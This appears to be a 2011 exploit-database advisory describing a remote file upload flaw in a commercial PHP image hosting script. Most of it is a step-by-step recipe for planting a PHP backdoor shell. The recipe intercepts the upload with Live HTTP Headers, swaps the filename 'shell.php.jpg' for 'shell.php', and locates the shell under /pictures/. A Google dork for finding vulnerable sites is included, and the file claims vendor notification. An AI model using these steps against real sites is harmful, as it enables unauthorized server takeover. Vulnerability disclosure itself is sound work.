47 lines
No EOL
1.7 KiB
Text
47 lines
No EOL
1.7 KiB
Text
============================================
|
|
Free Image Hosting Script Remote File Upload Vulnerability
|
|
============================================
|
|
# Exploit Title: Free Image Hosting Script [ALL VERSIONS] Remote File
|
|
Upload Vulnerability
|
|
# Date: 26/12/11
|
|
# Author: ySecurity
|
|
# Vendor or Software Link: http://www.photohostingscript.com
|
|
# Price: $29.99
|
|
# Version: All versions effected
|
|
# Category:: Remote File Upload
|
|
# Google dork: inurl:"show-image.php?id="
|
|
# Tested on: Windows 7
|
|
# Vendor HAS been notified.
|
|
########################################################################################
|
|
|
|
NOTE: You will ONLY be able to find your shell if the "/pictures"
|
|
directory and if the directory is not forbidden.
|
|
|
|
This exploit allows hackers to upload a PHP backdoor into "/pictures/"
|
|
directory via the use of Live HTTP Headers (Firefox Addon)
|
|
|
|
[Vulnerability]
|
|
|
|
Tools Needed: Live HTTP Headers, Backdoor Shell
|
|
|
|
Step 1: Locate upload form on index page.
|
|
Step 2: Rename your shell to shell.php.jpg and start capturing data with
|
|
Live HTTP Headers
|
|
Step 3: Enter tags for the image (can be anything)
|
|
Step 4: Replay data with Live HTTP Headers -
|
|
Step 5: Change [Content-Disposition: form-data; name="image1";
|
|
filename="shell.php.jpg"\r\n] to [Content-Disposition: form-data;
|
|
name="image1"; filename="shell.php"\r\n]
|
|
Step 6: Locate pictures directory:
|
|
www.site.tld/imagehostingscript/pictures/ (usually)
|
|
Step 7: Find PHP file (random digits.php) = should look like
|
|
(321879194bc8ff2843bf7b63a666f665.php)
|
|
Step 8: Navigate to backdoor =
|
|
www.site.tld/imagehostingscript/pictures/321879194bc8ff2843bf7b63a666f665.php
|
|
|
|
|
|
########################################################################################
|
|
|
|
Greets to: Team Intra
|
|
|
|
Submitted ethically, after disclosure. |